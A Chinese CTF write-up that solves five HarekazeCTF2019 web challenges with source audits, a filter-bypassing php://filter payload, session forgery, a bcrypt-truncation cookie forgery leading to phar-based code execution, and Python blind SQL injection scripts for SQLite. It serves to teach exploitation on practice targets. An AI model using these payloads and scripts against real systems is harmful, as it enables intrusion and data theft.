前言 HarekazeCTF2019复现现场……
复现过程 (1)encode.. 这题提供源码,是一道代码审计题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } $body = file_get_contents('php://input' ); $json = json_decode($body, true ); if (is_valid($body) && isset ($json) && isset ($json['page' ])) { $page = $json['page' ]; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content); echo json_encode(['content' => $content]);
其中
1 2 $body = file_get_contents('php://input' ); $json = json_decode($body, true );
先来一个if判断,对post的数据进行检验,过了if判断后,对检验json中的page的内容。像这样…..
这里有两个点: (1)使用Unicode编码可以绕过is_valid()的检验
(2)file_get_content()可以触发php://filter伪协议
所以最终:
payload:
1 {"page" :"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067" }
(2)Easy Notes 这道题的题目是提供源码的
当我们登录后去,去是的读取Get flag
发现这里是不可行的,说我们不是admin…..
猜测是伪造admin的Session
然后审计源码
跟进is_admin()
1 2 3 4 5 6 function is_admin () { if (!isset ($_SESSION['admin' ])) { return false ; } return $_SESSION['admin' ] === true ; }
果然是需要session为admin
然后看到export.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php require_once ('init.php' );if (!is_logged_in()) { redirect('/?page=home' ); } $notes = get_notes(); if (!isset ($_GET['type' ]) || empty ($_GET['type' ])) { $type = 'zip' ; } else { $type = $_GET['type' ]; } $filename = get_user() . '-' . bin2hex(random_bytes(8 )) . '.' . $type; $filename = str_replace('..' , '' , $filename); $path = TEMP_DIR . '/' . $filename; if ($type === 'tar' ) { $archive = new PharData($path); $archive->startBuffering(); } else { $archive = new ZipArchive(); $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); } for ($index = 0 ; $index < count($notes); $index++) { $note = $notes[$index]; $title = $note['title' ]; $title = preg_replace('/[^!-~]/' , '-' , $title); $title = preg_replace('#[/\\?*.]#' , '-' , $title); $archive->addFromString("{$index}_{$title}.json" , json_encode($note)); } if ($type === 'tar' ) { $archive->stopBuffering(); } else { $archive->close(); } header('Content-Disposition: attachment; filename="' . $filename . '";' ); header('Content-Length: ' . filesize($path)); header('Content-Type: application/zip' ); readfile($path);
export.php的作用是将我们add的note导出成zip或者rar,而导出的数据存放的位置就是$path
其中TEMP_DIR
1 define('TEMP_DIR' , '/var/www/tmp' );
说明session文件和notes文件存放的位置是一样的
那我们可以把notes文件伪造成session文件,伪造session文件的方法如下,看到代码:
username写成:sess_
$type我们写成一个’.’就好了
那这样子$filename就是sess_-0123456789abcdef..
经过str_replace(),就变成了sess_-0123456789abcdef
那么另一个问题是如何把内容写入session文件,看到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ($type === 'tar' ) { $archive = new PharData($path); $archive->startBuffering(); } else { $archive = new ZipArchive(); $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); } for ($index = 0 ; $index < count($notes); $index++) { $note = $notes[$index]; $title = $note['title' ]; $title = preg_replace('/[^!-~]/' , '-' , $title); $title = preg_replace('#[/\\?*.]#' , '-' , $title); $archive->addFromString("{$index}_{$title}.json" , json_encode($note)); }
其中
ZipArchive::open()中的$path可以指定为任何文件,只要后面的参数正确,我们就能改写该文件.
然后我们就能在title处把文件写进去
然后我们要写什么文件呢?
php 默认的 session 反序列化方式是php ,其存储方式为键名+竖线+经过serialize函数序列处理的值 ,
例如:name|s:6:”cookie”;
这就可以伪造 admin了.
获得一个filename,这个就是sessionid
访问获得flag
(3)Avatar Uploader 1 打开靶机,任意用户名登录后
要求上传一个PNG图片,大小小于256KB,像素小于256px*256px
当我们上传一个符合要求的png图片,使用burp抓包,修改后缀名还有Content-type,后仍然是可以上传成功的
题目提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file' ]['tmp_name' ]); finfo_close($finfo); if (!in_array($type, ['image/png' ])) { error('Uploaded file is not PNG format.' ); } $size = getimagesize($_FILES['file' ]['tmp_name' ]); if ($size[0 ] > 256 || $size[1 ] > 256 ) { error('Uploaded image is too large.' ); } if ($size[2 ] !== IMAGETYPE_PNG) { error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1' ) . '</code>' ); } ?>
这段代码想要获得flag的方法就是上传的文件在finfo_file()的检测下是png,而在getimagesize()的判断下不是png.
利用finfo_file()的一个特性:finfo_file()函数可以识别png图片十六进制的第一行,然而getimagesize()不可以
所以上传这个文件就能获得flag
(4)Avatar Uploader 2 代码审计题
这题考察的是LFI
漏洞产生点 首先审计代码,在index.php中看到
怀疑存在文件包含漏洞.这个点先放着
跟进session.php
这是一个session类,关于session的所有操作都在这儿产生.
那么先看到__construct()
我们在burp抓包的时候可以看到这里的cookie
可以看到该构造方法的作用在于将传入的session根据”.”分割成$data和$signature.
$data和$signature经过urlsafe_base64_decode(),再经过verify()认证.认证成功后,就将其进行json_decode.至此可以获得data数据.
分析get()
1 2 3 4 5 6 7 public function get ($key, $defaultValue = null) { if (!$this ->isset($key)) { return $defaultValue; } return $this ->data[$key]; }
跟进isset()
1 2 3 public function isset ($key) { return array_key_exists($key, $this ->data); }
也就是说通过get()方法,在Index.php上实施LFI.
攻击思路 目标很明确,我们需要自写session.
代码中是通过save()产生session的
将data数据进行json_encode,其结果为$json,然后将$json进行urlsafe_base64_encode(),并和$json经过sign()的签名加密后的base64_encode()的结果进行拼接,作为session.
跟进sign()
1 2 3 private function sign ($string) { return password_hash($this ->secret . $string, PASSWORD_BCRYPT); }
其中password_hash存在截断问题
这里对应在__construct()中调用的verify()函数
1 2 3 private function verify ($string, $signature) { return password_verify($this ->secret . $string, $signature); }
说明$this->secret . $string超过72个字符后,我们可以随便写,产生的签名都是相同的.由此绕过verify()
所以我们只要找到一个点触发save 函数,并且设置的cookie的data字段超过72个字符就行了.
寻找触发点 在upload.php中的error()
可触发save()方法.
实施攻击 访问upload.php,这时,我们不传文件,便会触发一个错误信息,产生一个包含错误信息的cookie:
cookie进行解码
1 {"name" :"cookie" ,"avatar" :"3f4e1410.png" ,"flash" :{"type" :"error" ,"message" :"No file was uploaded." }}
很明显已经超过了72个字符.
在index.php中触发点需要包含css文件,使用phar协议 ,在phar中复合一个带有马的exp.css,然后改变theme字段为:phar://uploads/xxxxxx.png/exp ,成功包含后就可以实现rce了.
生成phar
1 2 3 4 <?php ?> '); $phar->setStub($png_header . ' <?php
登录账号上传phar文件:
生成exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function urlsafe_base64_encode ($data) { return rtrim(str_replace(['+' , '/' ], ['-' , '_' ], base64_encode($data)), '=' ); } function urlsafe_base64_decode ($data) { return base64_decode(str_replace(['-' , '_' ], ['+' , '/' ], $data) . str_repeat('=' , 3 - (3 + strlen($data)) % 4 )); } $cookie = "eyJuYW1lIjoiY29va2llIiwiYXZhdGFyIjoiM2Y0ZTE0MTAucG5nIiwiZmxhc2giOnsidHlwZSI6ImVycm9yIiwibWVzc2FnZSI6Ik5vIGZpbGUgd2FzIHVwbG9hZGVkLiJ9fQ.JDJ5JDEwJEJhVWs3bEg0Mk9UOWFjN3AxR01IQnVMMTZycnE0cTJ3ZjdRRXlCTXVMYUVwUUNBQWFwMy5T" ; list ($data, $signature) = explode('.' , $cookie);$data = urlsafe_base64_decode($data); var_dump($data); $json = json_decode($data,true ); var_dump($json['avatar' ]); $avatar = $json['avatar' ]; $data = str_replace('}}' ,'},"theme":"phar://uploads/' .$avatar.'/exp"}' ,$data); var_dump($data); $data = urlsafe_base64_encode($data); $cookie = $data . '.' . $signature; var_dump($cookie);
然后用此exp做rce….
读取根目录下的的flag文件
(5)Sqlite Voting 提供源码:
vote.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str) { $banword = [ "[\"%'*+\\/<=>\\\\_`~-]" , '\s' , 'blob' , 'load_extension' , 'char' , 'unicode' , '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' , 'in' , 'limit' , 'order' , 'union' , 'join' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } header("Content-Type: text/json; charset=utf-8" ); if (!isset ($_POST['id' ]) || empty ($_POST['id' ])) { die (json_encode(['error' => 'You must specify vote id' ])); } $id = $_POST['id' ]; if (!is_valid($id)) { die (json_encode(['error' => 'Vote id contains dangerous chars' ])); } $pdo = new PDO('sqlite:../db/vote.db' ); $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}" ); if ($res === false ) { die (json_encode(['error' => 'An error occurred while updating database' ])); } echo json_encode([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);
从这段源码可以得到连两个信息:
(1)它过滤掉的函数以及一些注入时需要的关键字符,包括空格。
(2)向数据库更新id数据时,更新成功和更新失败返回的内容是不一样的。说明这里存在布尔盲注 。
schema.sql:
lite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 DROP TABLE IF EXISTS `vote` ;CREATE TABLE `vote` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT NOT NULL , `count` INTEGER ); INSERT INTO `vote` (`name` , `count` ) VALUES ('dog' , 0 ), ('cat' , 0 ), ('zebra' , 0 ), ('koala' , 0 ); DROP TABLE IF EXISTS `flag` ;CREATE TABLE `flag` ( `flag` TEXT NOT NULL ); INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}' );
从这里可以提取两个信息:
(1)数据库中有两个数据表,其中一个是vote,一个是flag
(2)flag在flag表中,我们获取flag,通过查询语句:select(flag)from(flag)
寻找报错触发点 上文说到的布尔盲注,这里是使用到了数据库报错,导致的数据更新失败,使得我们可以由此作为数据库判断依据 的思路。那么如何使数据库报错?
这里使用的数据库是sqlite3,在sqlite中有一个abs()函数 ,这个函数存在整形溢出报错的问题,如下图所示:
只要出现溢出报错,那么就能触发这个布尔盲注。
获取flag的长度 exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = "http://a84c8635-79fe-45a4-8687-64bed6855f24.node3.buuoj.cn/vote.php" length=0 s = requests.Session() for n in range(16 ): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1 <<n} )when(0)then(0)else(0x8000000000000000)end)' data = {'id' :payload} r = s.post(url=url,data=data) if 'occurred' in r.text: length=length|1 <<n print("the legnth of flag:" +str(length))
解释一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >>> bin(17 )'0b10001' >>> 17 &1 <<0 1 >>> 17 &1 <<1 0 >>> 17 &1 <<2 0 >>> 17 &1 <<3 0 >>> 17 &1 <<4 16 >>> 17 &1 <<5 0
首先,我们知道&运算,做按位与运算,其中1<<n表示2的n次方 。像例子中写的一样,一个数我们可以通过判断它和1<<n做&运算,查看回显,判断这个数的大小。上面这个数就是(1<<0)+(1<<4) ,结果是17.
同样的道理来判断flag的16进制值的长度 ,payload如下:
1 abs(case(length(hex((select(flag)from (flag))))&{1 <<n})when(0 )then(0 )else (0x8000000000000000 )end)
这个payload中巧妙地构造了:
1 abs(case(判断语句)when(0 )then(0 )else (0x8000000000000000 )end)
在这个exp中,对于其判断语句中的查询结果为0,则返回0。如果不为0,则返回abs(0x8000000000000000),这时就会产生整形溢出。当出现溢出的时候,报错,然后返回的1<<n,进行累加。
获得flag的16进制值的长度为84。
盲注flag exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import binasciiimport requestsurl = "http://66d23d52-22fc-4418-b081-0bcbbc263386.node3.buuoj.cn/vote.php" length=84 table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = 'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||' + table["C" ] + '||' + table["F" ] +')' s = requests.Session() res = binascii.hexlify(b'flag{' ).decode().upper() flag="" for a in res: if a in "0123456789" : flag = flag+a+'||' else : flag = flag+table[a]+'||' flag=flag[:-2 ] for i in range(len(res),length): for j in '0123456789ABCDEF' : if j in '0123456789' : str = flag+'||' +j else : str = flag+'||' +table[j] payload = "abs(case(replace(length(replace(hex((select(flag)from(flag)))," +str+",trim(0,0))),84,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)" data = {'id' :payload} r = s.post(url=url,data=data) if 'An error' in r.text: print(f'the numebr of {i} ' ) res = res+j print(res) flag=str break print('the source is:' +res) print('the flag is ' +binascii.unhexlify(res).decode())
解释一下:
我们现在已经获得了flag的长度,那么我们如何进行盲注出flag每一位的字符呢?
lite 1 2 sqlite> select hex((select(flag1)from(flag1))); 666C61677B636F6F6B69657D
如下所示:
lite 1 2 3 4 sqlite> select replace(hex((select(flag1)from(flag1))),'666C61677B6',''); 36F6F6B69657D sqlite> select replace(hex((select(flag1)from(flag1))),'666C61677B7',''); 666C61677B636F6F6B69657D
第一种情况,替换用的字符串是对的,所以回显的字符串是截取后的结果。
第二种情况,替换用的字符串是错的,所以回显的字符串是原本的字符串。
lite 1 2 3 4 5 6 7 8 9 sqlite> select length(replace(hex((select(flag1)from(flag1))),'666C61677B6','')); 13 sqlite> select replace(length(replace(hex((select(flag1)from(flag1))),'666C61677B6','')),24,''); 13 sqlite> select length(replace(hex((select(flag1)from(flag1))),'666C61677B7','')); 24 sqlite> select replace(length(replace(hex((select(flag1)from(flag1))),'666C61677B7','')),24,''); sqlite>
情况一中回显是有的。而情况一中用来替换的字符串是对的。
情况二中回显是空的。而情况二中用来替换的字符串是错的。
所以最好玩的地方来了,我们可以构造这样的语句,为盲注做准备:
1 replace(length(replace(hex((select(flag)from(flag))),替换的字符串,'' )),84 ,'' )
问题来了,单引号还有空格被过滤了:
1 2 3 (1 )空字符:trim(0 ,0 ) (2 )字符串:A||B
然后A-F我们通过特殊构造获得:
lite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 A = 'trim(hex((select (name )from (vote)where (case (id )when (3 )then (1 )end ))),12567 )' C = ' trim (hex (typeof(.1 )),12567 )' D = ' trim (hex (0xffffffffffffffff ),123 )' E = ' trim (hex (0.1 ),1230 )' F = ' trim (hex ((select (name )from (vote)where (case (id )when (1 )then (1 )end ))),467 )' # hex(b' koala') = 6B6F616C61 # 除去 16CF 就是 B B = f' trim (hex ((select (name )from (vote)where (case (id )when (4 )then (1 )end ))),16 ||{C}||{F})'
所以最终有payload如下:
1 abs(case(replace(length(replace(hex((select(flag)from (flag))),str,trim(0 ,0 ))),84 ,trim(0 ,0 )))when(trim(0 ,0 ))then(0 )else (0x8000000000000000 )end)
str为我们要替换的字符。具体看exp。
总结 (1)使用溢出产生报错的思路
(2)replace(),trim(),case…. when ….. then…. else…..的妙用
(3)字符的构造想法也很妙
总结 比较有难度的是Upload2,还有Sqlite Voting
然后这个比赛代码审计的内容较多,所以对代码的审计能力还需加把劲……..